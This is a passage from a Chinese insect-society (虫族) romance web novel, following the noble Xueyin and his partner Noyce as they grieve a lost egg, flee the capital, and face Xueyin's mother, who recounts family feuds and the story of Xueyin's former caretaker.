“对了!让我喂喂我的虫崽!”雪因错过了诺伊斯的晃神,挣脱开手的瞬间,手掌自然而然地抚向诺伊斯的小腹,温暖的信息素随之轻柔探出,“让我看看我的乖虫崽,我可想你们了,我在王爵府给我们的虫崽留了好多东西,以后啊~我们的虫崽会做——” 雪因信息素落空瞬间一颤,他表情凝固住了,缓缓、慢慢地抬头看向诺伊斯。 “对不起雪因,”诺伊斯凝视着他,紫眸同样浮上一抹痛色,艰难地开口,声音颤抖:“我没有保护好他…虫崽,他死了。” …… …… …… “啊?”雪因茫然的声音传来。 —— “元帅,不追么?” 墨尔庇斯站在王爵府最高处,目光凝在远方那架越飞越远的飞行器上。 他迟迟没有出声,只是指节捏得越发苍白,面色难看,直到飞行器离开视野,他闭上眼睛,再次睁眼,恢复了平静。 “准备一下,今夜启程,前往星渊。” “今夜??”副官难掩惊诧,“是否太急?殿下那边…不等他安顿下来么?” “他不是说会飞么?”墨尔庇斯打断他,声音听不出情绪,冷得瘆人,“不是想要自由么?总得体会一下自由的代价。” 话音未落,他眉心几不可察地一蹙,手掌下意识按向腹部。那里似乎传来细微的挣动。 他垂眸,对着自己腹部冷冷道,“你雄父都不要你了。你还敢和我闹?” 指尖倏然恢复原形,无比锋利的指尖毫无犹豫向虫蛋刺入。 副官只是看了一眼,诧异了一瞬,便冷静地低头,只听从命令不再多言。 连闷哼声都没有。等副官再次抬眼,便看到墨尔庇斯指尖带着血迹,掌心托着一枚布满细密金色裂纹的虫蛋。 即便如此,虫蛋出现的瞬间,还是聚集尚且稚嫩但已经不容小觑的精神力,直冲墨尔庇斯攻击过来。 “哼。”一声冷哼。 墨尔庇斯周身暗黑精神力化为无数细锁,瞬间将虫蛋死死缠绕!锁链捆缚外壳,根系扎入金色裂纹,强行压制、吸取蛋内幼生精神力的冲撞。 “还没出壳,就惦记着别人的雄虫?”墨尔庇斯饶有兴味,看着不断冲击虫蛋试图破壳的虫崽,被黑色锁链一下一下困死、汲取着他自身尚且幼小的精神力,很快不敌,裂纹中的金色迅速黯淡、消退,最后恢复成普通虫蛋的模样,无力陷入沉睡。 身侧,强悍的精神力撕裂空间扯出漆黑虫洞,洞内是一片浓稠如墨、死寂无光的深海,像是一潭死水,容不下半点光线。 墨尔庇斯目光落在一旁满满一盒信息素,还残留着雄虫温暖的气息,蔚蓝与金红交织。他手指微勾,盒子凌空飞来。 看着盒中信息素,他眼眸闪过一丝不耐,似怒似嘲,又似是不甘,最终归于平静。掀开盒盖,将手中沉睡的虫蛋放入那堆信息素管中间,合盖。 手腕一扬。 盒子划过一道弧线,虫蛋连同盒子坠入虫洞深处的黑海之中。黑海不同于常的海,甚至没有泛起涟漪,只余一开始几个气泡,随即一切踪迹与光芒都被吞噬殆尽,彻底沉入海底。 “若能活着撑到阿南克去找他。”墨尔庇斯忽然开口。 副官一怔,旋即明白这是在回答他之前“不管殿下”的疑问。 只要虫崽能尽快破壳并找到雪因,雪因便能得到虫崽力量的天然庇护。但在此之前,殿下的安危和小殿下能否顺利破壳…他不由得为雪因殿下和小殿下紧张。 “…是。元帅仁慈…考虑周全。”他低下头,附和道。 墨尔庇斯不再言语,转身欲走。 “大人。”一名侍虫手捧另一只小盒子,恭敬跪在门边,“是兰斯公爵送过来的。说是殿下的…” 侍虫打开盒盖。 里面是一枚看起来弱小的虫蛋,比方才那枚显得小巧许多,身边散满未使用过的信息素管,一只柔软的羊羔玩偶,一条散发着治愈光晕的丝带。 墨尔庇斯眸色一沉。 第69章 我们恋爱脑就是这样的…… “雪因。到了。”诺伊斯轻轻摇醒一旁的雄虫,抽出冰凉湿润的手帕,轻轻覆在对方泛红的眼睛上。 雪因从混沌的悲痛中惊醒,蔚蓝的眼眸被泪水浸得透亮,声音还带着一点哭腔,鼻尖泛红,靠在诺伊斯怀中,身体无法抑制地轻颤:“我不回去了……告诉我,是谁杀了他?我…” 雪因咬牙,拨开诺伊斯擦拭的手,蔚蓝眼眸跃起一抹恨意,“我要亲手杀了他。” 诺伊斯闻言一顿,手臂一紧将雄虫再次拉回怀里,一遍遍轻抚着他的后背安抚着,“别冲动——” “那是我第一个虫崽!我唯一的虫崽!” “……”诺伊斯眼眸闪过难过,声音低沉下去,同样沉重,“…也是我的,雪因。那是我们……唯一的虫崽。” 雪因看着诺伊斯眼中几乎要将人淹没的悲痛,没有谁会比诺伊斯、这个虫崽的亲生雌父更难过。雪因眼中的鱼死网破的倔强在对方更深的痛苦面前,节节败退。 “对不起……”雪因颓然地将额头抵在诺伊斯肩头,“是我的错,我没能保护他,我来晚了…” “嘘,不是你的错。”诺伊斯捧起他的脸,拇指拭去不断涌出的泪水,勉强扯出一个安抚的弧度,“仇已经报了。我亲手……为我们虫崽报仇了。别让这些脏了你的手,也别再想了。” “是谁?”雪因执拗地追问。 “……,不重要了,雪因。”诺伊斯摇了摇头,不愿再提对他来说过于悲痛的记忆,也不想让雪因困在痛苦里。“虫崽也希望他雄父好好的…我们先去看你雌父,今晚就离开帝星。” “……” “没有时间了,我担心墨尔庇斯会追来,也担心别的虫发现你不再被墨尔庇斯保护,来抓你。” “大皇子?你怎么知道得这么清楚?连他要抓我都…”雪因抹了一把湿润的眼眸。诺伊斯不愿再提,他也不敢再提一遍遍伤害诺伊斯,既然已经报仇… 算了。 “……”诺伊斯眼眸中沉色褪去,有些尴尬的眨了眨眼,避重就轻:“不重要,现在不是说这些的时候,当务之急是离开——” “嗯哼?”雪因微微眯起还泛着水光的蓝眸瞥向诺伊斯,惹得诺伊斯节节败退。 “好吧、好吧…”诺伊斯看着雪因的眼眸,沉沉叹了口气,举手投降状。 话音未落,形势骤变。 诺伊斯眼神一凛,他猛然发力,瞬间将雪因翻身压制在狭窄的座椅上,膝盖精准地抵住雪因腰侧软肉,单手便将小雄子双腕牢牢扣住,高举过头顶,死死按在椅背上。 “唔!”雪因猝不及防,闷哼一声。 随后雪因只感到冰冷坚硬的管状物抵上了他的下颚,迫使毫无防备的他抬头看着压制在自己身上的雌虫。 诺伊斯居高临下地俯视着他,方才的温柔与悲痛荡然无存,歪着头露出一抹危险的邪气,紫眸微眯,迷离地看向雪因,漫不经心的开口,“维斯特冕王爵。恐怕要通知您一个‘好消息’——您已经,正式落入大皇子手中了。我劝你…乖乖束手就擒。” 诺伊斯压下来,带着一股子压迫感,鼻尖抵着雪因,唇瓣在似有若无的距离间轻触,裹挟着温热气息,“也能少吃点苦头。” 雪因:“……?” 诺伊斯紫眸危险地眯起,又逼近几分,在雪因唇边低吼,营造出穷凶极恶的架势:“怕不怕?嗯?告诉你小雄虫!你完蛋了!!!让你不长记性,随便就跟陌生虫跑!嗯?!” 雪因怔怔地看了他两秒,突然‘噗嗤’一声笑了出来,“那你……别在我身上蹭啊。要威胁虫,好歹有点威胁的样子。” 诺伊斯丝毫不见尴尬,反而眉梢一挑,得寸进尺地将额头抵上雪因,唇几乎贴着雪因的唇瓣,呼吸交融,语气暧昧:“我现在只恨…没能多生出一只手,好把殿下这身碍事的衣衫给褪了。” 说着,他当真松开了手中那冰冷的硬物。‘哐当’一声轻响,一支钢笔滚落在地。 雪因余光瞥见,顿时又好气又好笑。 而诺伊斯趁机如愿以偿地吻了上来。辗转深入,贪婪地汲取雪因气息。雪因被他吻得面色绯红,气息不稳,止不住闪躲。 “啧,有点阶下囚的自觉啊,我的殿下。”诺伊斯不满地咂舌,单手捏住雪因的下巴,强迫他转回来面向自己,指腹还坏心眼地揉了揉那泛红的脸颊,“不好好讨好你的诺伊斯大人,等真到了大皇子手里……可就没我这么好说话了。” 雪因停止了挣扎。 他静静地看着诺伊斯,对方眉眼中曾经的青涩怯懦褪去,多了游刃有余,成长向来不易,他只觉得心疼。笑意淡了下去,蔚蓝眼眸看着诺伊斯开口,语气中的心疼藏不住,“对不起…这段时间你一定吃了不少苦。” 空气安静下来。 “说这些干什么?这样我都不好意思继续欺负你了。” 诺伊斯松开了钳制雪因的手。他侧身一滚,躺到了雪因旁边的座位上。 “都过去了。我…亲生雄父那边的事你应该知道。”诺伊斯一条手臂慵懒地垫在脑后,另一只手则自然而然地将雪因揽过来,让他靠在自己坚实的胸膛上,看向头顶的信息流窗,“当时他们来找我,我有你的虫崽…有他们想要的东西。况且就算我不答应,他们也会派别的虫,我顺水推舟答应了。” 雪因立刻明白了,“所以那次闯进王爵府的…说是你哥哥的雌虫,是因为你给了他带有你精神力的信物,我才会被误导,没有第一时间察觉异常!” 诺伊斯嬉笑着偏头躲开雪因砸过来的拳头,反手握住他的手腕。“我……没有更好的办法。雪因。” 他收起了玩笑的神色,紫眸认真地看着雪因,“虽然他们想利用你,但至少…在那个计划里,他们也需要你活着。整个王爵府被墨尔庇斯守得滴水不漏,连只飞虫都进不去。得送个虫进去,至少……要确认你是安全的。” “那这次为什么是你亲自来?” “我不亲自来,怎么让我们尊贵的王爵殿下,心甘情愿被坏蛋拐走啊?” 雪因:“……” “别贫了。你就这么带我走了……他们不会为难你么?” “不会。我…出来执行这最后任务之前…”诺伊斯尴尬了一瞬,他摸了摸鼻子,磕磕绊绊的开口,“‘不小心’给墨尔庇斯那边‘留’了点指向他们老巢的线索。现在估计…已经被一锅端得差不多了。没人能再指证我,也没人能找得到我麻烦。” 雪因沉默了两秒。 “……你可真阴险啊。”心疼之余也不由得由衷感叹。 “还不都是为了您。”诺伊斯收紧手臂,将雪因搂得更紧了些,下巴蹭了蹭他的发顶,随即正色道,“好了,不说这些了。我们得抓紧时间。前面就是你雌父的维斯特冕公爵府了,外面戒备森严,上空也有屏障。有什么办法能悄悄进去吗?” 雪因顺着他的目光望向窗外远处那座熟悉的府邸轮廓,神情也凝重起来。他不能光明正大地从正门进去,他是‘逃’出来的,不清楚墨尔庇斯是否已经下令追捕,更担心大皇子或其他势力尾随,连累雌父。 “你刚才……是怎么把我从王爵府带出来的?”雪因忽然想到关键。 “用预先留在你身上的精神力印记做空间坐标,配合这个特殊装置,强行在王爵府的屏障上撕开了一个极短暂的微型通道。”诺伊斯指了指仪表盘下方一个不起眼的凹槽,里面嵌着一枚光芒黯淡的水晶。 “因为我身上有你的…”他伸出舌尖,带着雪因精神力印记的舌钉在夜光下闪烁一瞬,“能定位你。不过,这东西耗能巨大,启动一次几乎能抽干一个S级雌虫的精神海。还是我从他们那里‘敲诈’来的。” 雪因听完,蔚蓝的眼眸微微亮起,他抓住诺伊斯的手腕,跃跃欲试: “教我。怎么用这个。” “……” 十分钟后。 “……,你不是雄虫么?” 直到两人身影稳定地出现在维斯特冕公爵府,诺伊斯脸上还残留诧异,看向身边气息只是微乱的雪因。 想起雪因方才第一次学习就流露远超普通雄虫、甚至不输于许多高阶雌虫的稳定精神力输出,诺伊斯不由得感叹。 “难怪那些家伙恨我恨得牙痒痒,拼了命也想把你抢回去。我是他们我也有点恨了。” 这种代代相传、近乎犯规的顶级基因,没有虫不觊觎。 “别说那些有的没的了,我雌父就在前面书房…”雪因轻轻拉了拉他的袖子,指向走廊深处,回头看了诺伊斯一眼。 诺伊斯立刻会意,松开握着雪因的手,微微后退半步,低声道:“我就在门口等你——” “你和我一起进去。”雪因却重新抓住了他的手,五指嵌入他的指缝,紧紧扣住,蓝眸中水波微微荡漾。 诺伊斯指尖微颤,对上雪因的目光,反手握紧,点了点头:“……好。” 雪因推开门,雌父阿斯特拉正靠坐在宽大的沙发里,眉宇间笼罩着沉郁之色,面前的茶几上堆满了凌乱的文件。 “伯、伯父好。”诺伊斯浑身一僵,感觉手心有些潮湿,雪因温热的手指轻轻回握了他一下表示安抚。 阿斯特拉闻声抬头,眼中的阴霾瞬间被惊喜冲散,漾开温柔:“雪因?我刚刚还在想是不是太累了出现幻觉……没想到真是我家漂亮的小蝴蝶回来了。” 他立刻起身,快步走向雪因,眼神在掠过诺伊斯时几不可察地停顿了一瞬,但并未多言,只是看似自然地分开了两只交握的手,然后将自家的小雄子紧紧拥入怀中,带着他往沙发走去。 然而他怀里这只‘小蝴蝶’显然不怎么‘恋巢’。短暂的拥抱后,雪因便无情地推开了雌父,转身毫不犹豫地再次拉起身后诺伊斯的手,牵着他一同走到阿斯特拉对面,并肩坐下。 阿斯特拉:“……” 他看着自家雄子那副护犊子般明晃晃的姿态,额角隐隐跳动。 他深吸一口气,面上依旧维持着温和,开口道:“雪因,楼上书房里有一个文件盒,编号Ax7745,能帮雌父拿下来吗?就在书架顶层。” “您不是可以用精神力直接取吗?”雪因疑惑问道。 阿斯特拉笑容不变,目光转向诺伊斯。 诺伊斯瞬间明白了公爵的用意。他侧过身,面对着雪因,安抚地捏了捏他的手心,“雪因,去拿吧。” 雪因看了看诺伊斯,又看了看雌父,迟疑了一下:“……好。” 他嘴上答应,身体却诚实地拉着诺伊斯的手想一起站起来。 阿斯特拉:“……” 他感觉自己快维持不住风度了,气急败坏起来:“你自己去!雌父还能吃了你的小情虫不成?就你稀罕!” “……噢。” 雪因略显尴尬地笑了笑,他确实是担心诺伊斯独自面对雌父会不自在,也怕雌父会为难他。话虽如此,他握着诺伊斯的手却一点没松,默不作声挡在他身前。 “没事的,雪因。” 诺伊斯心里又软又暖。他主动松开了雪因的手对他眨了眨眼,“去吧。” 雪因这才一步三回头地离开了书房。 门关上的瞬间,阿斯特拉脸上的温和笑意荡然无存。 他身形一闪,出现在诺伊斯面前,手猛地攥紧了诺伊斯的衣领,将他向上提起,迫使诺伊斯不得不微微踮脚,呼吸瞬间变得有些困难。 第70章 旧事 阿斯特拉强势的威压刺入诺伊斯精神海。 剧痛瞬间炸开。诺伊斯眼前一黑,冷汗几乎是瞬间浸透了后背。他闷哼一声,咬紧牙关,硬生生将所有痛呼咽了回去,任由额角冷汗汇成细流,滑入衣领,身体却倔强地挺直,没有后退半步。 与雪因同色却沉淀着岁月与权势的蔚蓝眼眸,审视着诺伊斯。片刻后威压骤松,诺伊斯被精神力向后一推,跌坐进沙发里,胸腔剧烈起伏,大口喘着气。 诺伊斯微微喘着气恢复着,他声音有些沙哑,“我绝不会……伤害雪因殿下。” “你的承诺对我而言毫无价值。” 诺伊斯抬手抹去嘴角一丝因强忍疼痛而溢出的血气,紫眸迎向那道审视的目光,“但对我来说,这是我对…雪因的承诺。” 阿斯特拉一愣,总算是抬眼看向他,“证明给我看。用你的灵魂向虫神起誓。” 说罢,精神力蔓延开来,瞬间将整个书房封锁成一个与外界隔绝的领域。 巨大的压力瞬间让诺伊斯闷哼一声,双膝不受控制地重重磕在深红色的地毯上,冷汗大滴大滴砸落。 “就这样还想做我虫崽的雌侍?这可不行。他身边的每一位侍虫能力都远在你之上。如果你连最基本的——” “我……”诺伊斯猛地咳出一口血沫,但他用尽力气抬起头,左手抚上心口,紫眸执拗,一字一顿: “我,诺伊斯,以灵魂向虫神起誓,以我的未来与存在为祭——从此刻起,我所行所思,皆以雪因.维斯特冕殿下的安危与喜乐为最高准则,将他置于我自身一切之上。若违此誓,灵魂永堕虚无,未来尽数湮灭!” 誓言落下,契约化作金色丝线缠绕上他的灵魂深处。 阿斯特拉闻言,沉默地看了诺伊斯几秒,神色松懈了一些,收回了威压,淡声道:“把自己收拾干净,别让雪因看出端倪。” “…是。”诺伊斯迅速用袖子擦去嘴角和额头的血迹,整理了一下凌乱的衣领,尽力平复着呼吸。 “说吧,大皇子那边现在是什么局面?你们怎么出来的?” 诺伊斯深吸一口气,简明扼要陈述了一遍。 “……这样么?”阿斯特拉听完,垂眸沉思,“听着,大皇子不会杀雪因。” “您凭什么笃定?万一雪因真的有危险呢?” 阿斯特拉看了一眼门的方向,用精神力锁死了空间,确保绝对的隔音。“因为大皇子,是雪因嫡亲的祖雌父。 诺伊斯瞳孔微缩。 “就算不看这层血脉,单凭雪因是他已故雄主留在这世上唯一雄虫血脉延续……他也不会对雪因下死手。他最可能做的,是强行给雪因安排新的雌君,比如雄虫协会的洛伽南,或是与他血缘更近的王室旁支血脉、能‘净化’后代的雌虫……总之,是为了让血脉‘回正’。” “想杀雪因的,是雄虫协会会长,莫里亚斯。” “他可不认为雄虫有多珍贵,或者说,对他来说雪因原本就是计划之外的存在。他和墨尔庇斯之间隔着杀子之仇。为了报复墨尔庇斯和我…间接杀了他的雄子,一定会向雪因下手。” “莫里亚斯?” “嗯。他是雪因曾祖雄父。莫里亚斯小时候维斯特冕家族曾遭逢大难,被暗中的仇敌血洗,当年是他的雌君及时赶到,将年幼的莫里亚斯救出。后来,他们顺理成章,等莫里亚斯成年后成婚,也算是一段佳话,感情甚笃。可惜,莫里亚斯与他雌君成婚不到五年,他雌君战死,只留下他雄子一个虫崽。” “莫里亚斯对他这唯一的雄虫崽极度溺爱。” 说到这阿斯特拉目光再次飘向门口,露出温柔,“喜欢我家雪因那样性子的小雄虫吧?” “当、当然。”诺伊斯脸颊微热,诚实点头。 “莫里亚斯那唯一的雄子,性子就和雪因很像。从小被娇宠着长大,偏偏心性温柔,见谁都带着笑。成年后顺理成章与大皇子成婚。他不知道雌虫间的勾心斗角,生得天真。” “……”说到这阿斯特拉也不由得面色沉重,“我们雌虫之间的事,向来不会牵扯到雄虫。我们谁也没有想到,在大皇子‘战死’的消息传回帝星的第二天,他这个善良到柔软的雄虫居然会殉情。” 书房内陷入短暂的沉寂。 “关于以前的事是我们上一代的仇怨,与雪因无关。”阿斯特拉收回目光,重新看向诺伊斯,眼神严肃,“不要告诉他这些,他承受不了与有亲缘之虫厮杀。我告诉你,是要你明白,莫里亚斯为了报复墨尔庇斯和我…或者说,为了报复那场间接导致他失去独子的‘意外’,他很可能会对雪因下手。现在他躲在大皇子身后,利用大皇子作为掩护。” 诺伊斯背脊窜上一股寒意,他郑重颔首:“是。” “你倒还算有点小聪明,”阿斯特拉话锋一转,语气听不出褒贬,“杀了斯卡尔,嫁祸给了西蒙家族。可惜算漏了一点,西蒙家族的阿诺德原定接手雪因雌君之位,墨尔庇斯不会杀光他们。就算你把西蒙家族和大皇子牵扯在一起,但阿诺德却真真切切是原定作为雪因雌侍的虫。该用还是会用。” 诺伊斯猛地攥紧了拳,指节发白,声音从齿缝里挤出,“斯卡尔他杀了我和雪因的虫崽!他趁我不备将我绑走,我醒来时只看到满地的血。他死一万次都不足惜!” “他不是墨尔庇斯派去的,他是自作主张。”阿斯特拉微微一怔,似乎有些意外,但还是转移轻描淡写说起另一个。 “我知道,他当时脚下踩着碎裂的虫蛋,告诉我,想报仇?就去跟雪因哭诉。说是墨尔庇斯忍不了雪因身边有其他雌虫,派他来斩草除根。” “他是觉得我傻么?”诺伊斯低笑,“他根本没有将我放在眼里,他俯身下来讽刺我瞬间我用雪因给我的匕首,杀了他。这就算为我们那没来得及破壳的虫崽报仇。” “……你不用担心。斯卡尔的事,墨尔庇斯知道,他没打算追究你。” “呵,那我是不是该感恩戴德,谢谢你们‘宽宏大量’的不追究?” “小虫崽,你知道我说的‘不追究’,指的不仅仅是你杀了斯卡尔。”阿斯特拉看着诺伊斯,“你杀了一位出身显赫的高阶雌虫之后,不仅没有处理现场,反而……‘汲取’了他全部的精神力本源,连个尸体都不留。” 诺伊斯脸色一白。 “雌虫间…在战场上偶尔出现这种‘掠夺’行为虽不光彩,倒也不算少见。但斯卡尔出身顶级世家。这样的家族重要成员身上都有家族精神印记相连。‘死不见尸’…你这么做是在挑衅整个斯卡尔的家族。” “若不是我出手替你善后…你以为,仅仅凭西蒙家族当初看在你怀有雪因虫崽的份上愿意为你挡,就能轻易摆平?” 诺伊斯咬紧下唇,垂下眼帘,沉默不语。冷汗再次渗出背脊。 “记住,”阿斯特拉的声音低沉下去,“下次如果不得不做,就要做得…滴水不漏。” 下、次? 诺伊斯猛地抬起头,难以置信地看向阿斯特拉。这…这是在默许他可能采取的某些必要手段?甚至暗示,同意他留在雪因身边了? 书房门被推开,雪因抱着文件盒快步走了进来。他蔚蓝的眼眸先在诺伊斯身上飞快地扫了一圈,确认他面色如常,这才松了一口气,随即转向阿斯特拉:“雌父,是这个盒子吗?” “嗯,辛苦我的小雪因了。”阿斯特拉接过盒子随手放在一旁,示意雪因坐下。 雪因挨着诺伊斯坐下,两人的手在沙发扶手下悄悄碰了碰,交换了一个安心的眼神。雪因这才转向雌父,“雌父,我听说…墨尔庇斯打伤了你?” 阿斯特拉动作几不可察地一顿,随即自然地舒展眉头,露出一个安抚性的微笑:“我们之间确实发生了一些争执,不过都是皮外伤,不碍事,别担心。” “但是,雪因,诺伊斯有句话没说错。”阿斯特拉脸上带着一点歉意,“墨尔庇斯今夜就将奔赴星渊战场。今晚之后,帝星不再安全,待会雌父安排菲尔斯护送你离开帝星,去我们本家。” 诺伊斯手一紧。 阿斯特拉的目光淡淡扫过他,“诺伊斯,我知道你有心,但毕竟你等级低是事实。只要你这一路上能保护好雪因,等你们回来,我会为你正名,让你做雪因雌侍。” “雌父,我——” 但这次诺伊斯却轻轻按住了他的手,自己迎向了阿斯特拉审视的目光。“恕我直言,您这么做除了会在一开始就引发我和菲尔斯之间不必要的内耗与猜忌,没有任何意义。而且菲尔斯太过显眼,有他在所有的目光都会盯上我们。” “所以,你是想让我将尊贵无比的王爵继承人,交托给你一个B级雌虫?” “雌父!” “……”诺伊斯反笑,示意雪因稍安勿躁。他紫眸迎向阿斯特拉,不卑不亢:“这也是我的优势不是么?一个已经‘失宠’、失去了虫崽、生育能力存疑、等级低微的平民雌虫…谁会多看一眼?谁会相信,维斯特冕王爵会由这样的虫护送?” “诺伊斯…”雪因担忧地看向他,不愿他如此贬低自己。 “……”阿斯特拉沉默了片刻,似乎在权衡。最终,他看向雪因:“雪因你待会留下你信息素,我这边安排。” “……好。”雪因低声应道,心情复杂。 “雪因,来…”说着,阿斯特拉招招手,让雪因靠近些。他伸手抚上雪因肩膀,蔚蓝的精神力试图包裹雪因,施加重重保护。 忽然,看不见的精神力从雪因手上骨脊手环强势溢出,驱散了阿斯特拉附着的精神力,拒绝任何外来力量对宿主的过度干涉。 阿斯特拉眼中闪过一丝诧异,隐隐松了一口气。接着他眼神一凝,涉及规则的力量开始在他周身隐隐浮现。他看着雪因:“雪因,跟着我说——‘我现在,是一只亚雌。’” 雪因有些茫然,但出于对雌父的信任,他还是跟着重复:“我……我现在是一只亚雌?” “对。”很快规则施加在雪因身上,随着雪因这句肯定落下,身上的雄虫信息素纷纷退回身体,“好了,现在不会有虫能轻易识破你的雄虫身份。你跟诺伊斯前往,位置在——” “伯父!”诺伊斯突然面色紧张,开口打断阿斯特拉。 “嗯?” “我会带雪因去一个绝对安全的地方,不惜一切代价保护他。但是目的地不能告诉您,大皇子身边有人能读取记忆。” “雌父这么厉害,不会有虫能读取他的记忆。”雪因解释。 但阿斯特拉却沉默了,勉强牵出一抹笑点头。“他说得对。雪因,我们都小心一些。别担心,我们之间有血脉相连,无论你在哪里雌父都知道,你就当出去旅游一趟,等帝星恢复和平,雌父亲自去接你回家。” “雌父…”雪因感觉氛围不对,他抓住阿斯特拉的手,“您是不是…会有危险?” “雪因,你听着,只要你一天没有被抓住。”阿斯特拉捏了捏雪因的脸,“雌父就永远是安全的。” “眼见不一定为实,耳朵听到的也可能是假话。无论谁用什么方法诱导你、欺骗你回来,都不要相信。雌父还要留下来保护你的雄父,暂时不能一直在身侧,护着我的小雪因。” “我留在帝星…会变成您的累赘和弱点,对吗?”雪因的声音有些发颤。 “当然不是!”阿斯特拉立刻否认,将雪因搂进怀里,声音放得轻柔,“你怎么会是累赘?你是雌父最珍视的宝贝。只是有你在身边,雌父反击的时候,难免会有些束手束脚,怕误伤了你,怕你看到不好的东西。” 雪因将脸埋在雌父宽阔温暖的怀抱里,闷闷地问:“那要多久您才会来接我回家?”《 》 70-80 第71章 让我服侍您吧,殿下。…… “雪因啊,雌父想和你聊聊关于你抚育虫的事。” “当年我们发现,他是敌对势力安插进来的棋子。他的任务是引导你、教你一些…不那么符合王爵身份的东西。他知道你和墨尔庇斯关系紧张,便有意无意地…让你觉得墨尔庇斯待你不好,一次次教唆你,鼓励你去接近、去索求,看你一次次被拒绝。甚至在你的饮食里动了手脚,让你小时候体弱多病。” “我当时只后悔发现晚了,让他伤害了你。” “但后来我查得更深…发现事情,或许并非如此。他确实听命于那些心怀不轨的虫,这是无法改变的事实。我知道,其实你一直想为他辩解的是,从来都是我们雪因自己想去找墨尔庇斯,不是抚育虫教唆你去的。那些所谓的‘药’…大部分也只是安神剂,是为了让你睡得安稳些,少做些噩梦。” “我的小雪因从小就聪明又敏感,怎么会分不清真情假意。” “但是啊,‘立场’这个东西,有时候比单纯的善恶更残酷。不是所有事情,一句‘他对我好过’就能轻易原谅、一笔勾销的。” “那天他被我们发现并带走。他没有挣扎、没有辩解。在审讯室里他承认了一切。他只做了一件事。” “他跪下来求我们…不要让你知道真相。他说,你心思敏感,知道了会难过。” “他留下了一封信,显然是早就准备好的。他求我们转交给你。我同意了。” “信上说,他只是被调去远方工作了,每个虫都有自己的路要走,所以请你原谅他的不告而别。他让你别担心,好好长大,说不定未来某一天,你们还会在重逢。交出信之后…我们本打算将他永久流放囚禁,远离帝国核心。” “可是谁也没想到。他嘴里早就藏好了致命毒药,转交信件后,他毫不犹豫结束了自己的生命。可能是认为背叛了他背后的人,又可能是觉得对不起你。” “后来墨尔庇斯拿起信,毫不犹豫丢到一旁火炉烧了。” “他说,‘尊贵的王爵殿下,不需要活在别虫编织的、虚伪的梦境里。’” “所以啊,爱和恨,有时候根本不是界限分明的两面。它们常常纠缠在一起,难分难解。就连雌父活了这么久,很多时候也看不真切,分不清楚。” “雌父告诉你这些,是想说…别恨墨尔庇斯” “他从来就没有被谁好好爱过,也没有人教过他如何去爱。他唯一熟悉的、用来表达和联结的方式就是‘恨’,他分不清什么是保护,什么是伤害。可他已经做到了他认知里的‘极致’。雪因,你是他唯一在乎的虫。” “我的小雪因,心肠向来是最软的。雌父不求你原谅他做过的事,但是…” “如果他这次真的回不来了。” “别再让‘恨’成为你心里关于他的最后一种记忆,好吗?” —— 直到坐在驾驶舱,雪因还在为刚刚雌父告知的真相有些恍惚。 银白的长发松散地垂落肩头,蓝眸微微垂落,蒙着一层郁色。 诺伊斯深深看着雪因,终究是没有出声安慰,也没有追问。只是伸出一只手,紧紧握着雪因,温暖的力道传来,给了雪因些许力量。 诺伊斯一边熟练地调试着面前的导航界面,一边回头,“睡一会儿?再跳跃两次,就能出帝星了。到了我叫你。” “我…” 诺伊斯伸手按下控制台左侧一个不起眼的按钮,轻柔的音乐回荡。 “对了,”诺伊斯状似随意地开口,紫眸专注地看着前方星图,语气轻松,“你的抚育虫……他是个什么样的虫?好像从来没听你仔细提过。” 雪因微微一怔,看着面前飞速后退的星空,缓缓开口:“他是一个很笨的虫。” “嗯?”诺伊斯诧异地挑眉,转过头看了雪因一眼,“我还以为能成为王爵抚育虫的,唔…至少也是把你照顾的很好的,完全符合雄虫协会最高标准的模范雌虫。” 雪因轻笑一声,也算放松下来,诺伊斯见状眼疾手快地捞起旁边一个备用的柔软抱枕,塞进雪因怀里。雪因自然而然接住,将下巴窝在抱枕上,“他很喜欢花,但是他养的花总是养不好,总是很快死掉。所以经常时不时…晚上把我哄睡着后盯着花喃喃‘怎么会这样呢?明明书上是这样教的’。” “嘶…他等级应该不低,也会为这种小事烦恼么?” “…谁知道呢。” “我一直以为,这种级别的雌虫,发愁的事只会是‘殿下今天摄入营养是否达标’’,或者‘自己的实力够不够强大以应对潜在威胁’。” “不是。他还经常拿着厚厚的《雄虫养育指南》,我说一句什么话,或者做出一个什么表情,他就立刻手忙脚乱地翻开书,或者抓起终端猛查雄虫行为数据库——‘当雄虫幼崽说出X话语时,抚育者应做出Y反应’之类的。”雪因笑起来,晃了晃椅子,“他不知道我当时识字了。” “还会经常说‘书上明明不是这样写的。’一脸疑惑看着我,然后就叫人给我做检查,到处查我是不是生病了。我…很小的时候他不会避着我,每天整理我的身体报告喜好什么的,会一边抱着我一边在书桌写写字。” “然后我指着他写的,说其实我不喜欢这个…”雪因转头看向诺伊斯,眼中露出狡黠,“他一愣,然后手忙脚乱收起桌面的报告。我猜他是震惊我什么时候能看得懂。” 诺伊斯忍不住,笑起来,“您小时候就这么坏了么?故意不告诉他?” “不是啦,”雪因眨眨眼,理直气壮的说,“我以为那也是每天固定‘流程’的一部分。就像吃饭、睡觉、学习一样自然。” “唔,”诺伊斯眼中笑意更深,语气认真起来,“那这么说起来他一定很爱你。只有真正在乎,才会这样战战兢兢,想把书上所有‘最好’的东西都给你,又怕自己做得不够好。” “我不知道,”雪因再次陷入回忆,“他应该,还有一个自己的虫崽。生下来就被抱走了,他可能…从来没见过。” “嗯?”诺伊斯收敛了笑意。 “雄虫协会的雌虫,他们的虫崽一出生就会被带走。很多虫…就算日后在战场上或者别处遇到了,也认不出是不是自己的虫崽。”雪因解释道。 “你怎么知道他还有虫崽?” “我有几次半夜醒来,看到过他一个人坐在黑暗里,偷偷…掉小珍珠。” 诺伊斯愣住了,紫眸中掠过一丝复杂“…外界都说,雄虫协会出身的雌虫,经过特殊训练和筛选,情感淡漠,几乎不具备感情。” “在雄虫协会上课时老师还经常告诉我们,雌虫没有感情呢。” “我不知道,这是我看到的。那个虫崽好像叫洛瑞恩。我有试着找过,想…至少替他照顾他的虫崽。但我没有找到,不知道是死了还是改名了。” “您不生气么?抚育虫理应把全部心思放在主虫身上。” 雪因摇摇头,“我那时候孤独又幼稚傲慢的,我想要很多很多同伴陪我,又讨厌那些带着目的找我玩的虫。但如果是这种我亲自挑选的,我想,我会很高兴。” “那现在呢?您现在还觉得孤独吗?” “不,”雪因的目光从窗外收回,望向下方越来越渺小、逐渐被云层和夜色吞没的帝星。他深吸一口气,又缓缓吐出,眼底的郁色似乎在星光映照下消散了些许。“现在…我觉得很自由。” “啧,”诺伊斯立刻故作幽怨地瞥了他一眼,语气夸张,“我还以为您会说——‘因为有你在身边,所以再也不孤独了’呢!真让我伤心。” 